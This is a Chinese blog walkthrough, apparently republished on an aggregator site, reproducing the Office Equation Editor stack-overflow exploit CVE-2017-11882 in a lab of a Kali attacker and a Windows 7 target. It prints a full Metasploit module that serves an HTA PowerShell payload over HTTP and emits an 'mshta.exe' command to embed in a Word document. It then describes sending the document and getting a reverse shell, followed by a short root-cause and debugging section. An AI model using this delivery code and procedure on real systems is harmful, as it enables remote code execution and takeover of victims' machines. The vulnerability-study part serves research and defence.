【漏洞复现】噩梦公式一代漏洞|公式编辑器EQNETD32.exe栈溢出漏洞(CVE-2017-11882)

本文主要是介绍【漏洞复现】噩梦公式一代漏洞|公式编辑器EQNETD32.exe栈溢出漏洞(CVE-2017-11882),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

 

一、CVE-2017-11882 —— 类型:栈溢出漏洞

CVE-2017-11882 是 一 个Office 远程代码执行的漏洞,该漏洞的成因是EQNEDT32.EXE进程在读入包含MathType的ole数据时,在拷贝公式字体名称时没有对名称长度进行校验,从而造成栈缓冲区溢出,是一个非常经典的栈溢出漏洞。该漏洞位于EQNEDT32.EXE(Microsoft 公式编辑器),这个组件首发于 Microsoft Office2000 和 Microsoft2003, 用于在文档中插入和编辑方程式,EQNEDT32.EXE 在 17 年前编译后再未更改。虽然从 MicrosoftOffice2007 开始,显示和编辑方程的方法发生了变化,但是为了保持版本兼容性,EQNEDT32.EXE 并没有从 Office 套件中删除。盗个图如下:

 

二、准备

攻击机:kali-2019    192.168.75.146

靶机:win7_x86(关闭防火墙)    192.168.75.139

验证漏洞存在:

  • 搭建漏洞环境(安装Office 2003 sp3),执行漏洞poc
  • 由于漏洞出现在EQNEDT32.EXE 进程 首先需要确认是否存在公式编辑器
  • 菜单->插入->对象 找到公式3.0
  • 如果没有则说明Office安装不完全或者版本不符合

 

三、复现过程

1、下载 exp,生成漏洞验证文档 calc.doc

将 calc.doc 放到靶机中打开,弹出计算器说明漏洞存在

2、生成 payload 文档,发送到靶机

3、将下面内容保存成 PS_shell.rb 文件,并放到 msf 的脚本目录下,比如我新建了一个 wtf 目录,放在了这下面

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##class MetasploitModule  < Msf::Exploit::RemoteRank = NormalRankinginclude Msf::Exploit::Remote::HttpServerdef initialize(info  = {})super(update_info(info,'Name' => 'Microsoft Office Payload Delivery','Description' => %q{This module generates an command to place withina word document, that when executed, will retrieve a HTA payloadvia HTTP from an web server. Currently have not figured out howto generate a doc.},'License' => MSF_LICENSE,'Arch' => ARCH_X86,'Platform' => 'win','Targets' =>[['Automatic', {} ],],'DefaultTarget' => 0,))enddef on_request_uri(cli, _request)print_status("Delivering payload")p = regenerate_payload(cli)data = Msf::Util::EXE.to_executable_fmt(framework,ARCH_X86,'win',p.encoded,'hta-psh',{ :arch => ARCH_X86, :platform => 'win '})send_response(cli, data, 'Content-Type' => 'application/hta')enddef primerurl = get_uriprint_status("Place the following DDE in an MS document:")print_line("mshta.exe \"#{url}\"")end
end

4、启动 msf,执行 reload_all 从新加载一下攻击模块,可以多重复几遍,有时候卡的加载不粗来。PS_shell 加载成功后执行如下命令,准备接受反弹 shell

5、靶机打开 test.doc,攻击机 getshell

 

四、技术细节

该漏洞的成因是EQNEDT32.EXE进程在读入包含MathType的ole数据时,在拷贝公式字体名称时没有对名称长度进行校验,从而造成栈缓冲区溢出,是一个非常经典的栈溢出漏洞。

该漏洞出现在模块 EQNEDT32.EXE 中, 该模块为windows的公式编辑器。由于该模块对于输入的公式未做正确的处理,攻击者可以通过刻意构造的数据内容覆盖掉栈上的函数地址,从而劫持程序流程,执行任意命令:**模块路径:**C:\Program Files\Common Files\microsoft shared\EQUATION。

>> 通过ProcessMonitor 查看计算器的父进程,发现是 EQNEDT32.EXE,且 EQNEDT32.EXE 并不会作为 WINWORD 的子进程创建,而是以单独的形式存在。这就意味着 Office 的进程保护机制,无法阻止 EQNEDT32.EXE 这个进程被利用。因此 EQNEDT32.exe 就是出现漏洞的模块。

>> 那么如何定位到出现栈溢出漏洞的代码位置呢,因为弹出计算器的时候创建了新进程,所以我们可以认为是由 WinExec 或者 CreateProcess 创建的。用 windbg 附加 EQNEDT32.EXE,然后下 API 断点,再打开poc文件,观察断到哪里,找到调用公式编辑器的位置,再耐心找到strcpy函数即可,一般是没有用安全版本的 strcpy 函数导致的栈溢出漏洞。

 

 

 

 

参考:

https://blog.csdn.net/yiyiiyiy/article/details/78623873

https://blog.csdn.net/qq_38474570/article/details/98513146

 

 

 

 

 

 

 

这篇关于【漏洞复现】噩梦公式一代漏洞|公式编辑器EQNETD32.exe栈溢出漏洞(CVE-2017-11882)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!


原文地址:https://blog.csdn.net/Cody_Ren/article/details/103955705
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.chinasem.cn/article/716060

相关文章

Python中文件读取操作漏洞深度解析与防护指南

《Python中文件读取操作漏洞深度解析与防护指南》在Web应用开发中,文件操作是最基础也最危险的功能之一,这篇文章将全面剖析Python环境中常见的文件读取漏洞类型,成因及防护方案,感兴趣的小伙伴可... 目录引言一、静态资源处理中的路径穿越漏洞1.1 典型漏洞场景1.2 os.path.join()的陷

Python程序打包exe,单文件和多文件方式

《Python程序打包exe,单文件和多文件方式》:本文主要介绍Python程序打包exe,单文件和多文件方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录python 脚本打成exe文件安装Pyinstaller准备一个ico图标打包方式一(适用于文件较少的程

Java内存区域与内存溢出异常的详细探讨

《Java内存区域与内存溢出异常的详细探讨》:本文主要介绍Java内存区域与内存溢出异常的相关资料,分析异常原因并提供解决策略,如参数调整、代码优化等,帮助开发者排查内存问题,需要的朋友可以参考下... 目录一、引言二、Java 运行时数据区域(一)程序计数器(二)Java 虚拟机栈(三)本地方法栈(四)J

Python+wxPython构建图像编辑器

《Python+wxPython构建图像编辑器》图像编辑应用是学习GUI编程和图像处理的绝佳项目,本教程中,我们将使用wxPython,一个跨平台的PythonGUI工具包,构建一个简单的... 目录引言环境设置创建主窗口加载和显示图像实现绘制工具矩形绘制箭头绘制文字绘制临时绘制处理缩放和旋转缩放旋转保存编

使用Python开发Markdown兼容公式格式转换工具

《使用Python开发Markdown兼容公式格式转换工具》在技术写作中我们经常遇到公式格式问题,例如MathML无法显示,LaTeX格式错乱等,所以本文我们将使用Python开发Markdown兼容... 目录一、工具背景二、环境配置(Windows 10/11)1. 创建conda环境2. 获取XSLT

Spring Boot中JSON数值溢出问题从报错到优雅解决办法

《SpringBoot中JSON数值溢出问题从报错到优雅解决办法》:本文主要介绍SpringBoot中JSON数值溢出问题从报错到优雅的解决办法,通过修改字段类型为Long、添加全局异常处理和... 目录一、问题背景:为什么我的接口突然报错了?二、为什么会发生这个错误?1. Java 数据类型的“容量”限制

将Java程序打包成EXE文件的实现方式

《将Java程序打包成EXE文件的实现方式》:本文主要介绍将Java程序打包成EXE文件的实现方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录如何将Java程序编程打包成EXE文件1.准备Java程序2.生成JAR包3.选择并安装打包工具4.配置Launch4

使用Python开发一个带EPUB转换功能的Markdown编辑器

《使用Python开发一个带EPUB转换功能的Markdown编辑器》Markdown因其简单易用和强大的格式支持,成为了写作者、开发者及内容创作者的首选格式,本文将通过Python开发一个Markd... 目录应用概览代码结构与核心组件1. 初始化与布局 (__init__)2. 工具栏 (setup_t

利用Python实现添加或读取Excel公式

《利用Python实现添加或读取Excel公式》Excel公式是数据处理的核心工具,从简单的加减运算到复杂的逻辑判断,掌握基础语法是高效工作的起点,下面我们就来看看如何使用Python进行Excel公... 目录python Excel 库安装Python 在 Excel 中添加公式/函数Python 读取

Java循环创建对象内存溢出的解决方法

《Java循环创建对象内存溢出的解决方法》在Java中,如果在循环中不当地创建大量对象而不及时释放内存,很容易导致内存溢出(OutOfMemoryError),所以本文给大家介绍了Java循环创建对象... 目录问题1. 解决方案2. 示例代码2.1 原始版本(可能导致内存溢出)2.2 修改后的版本问题在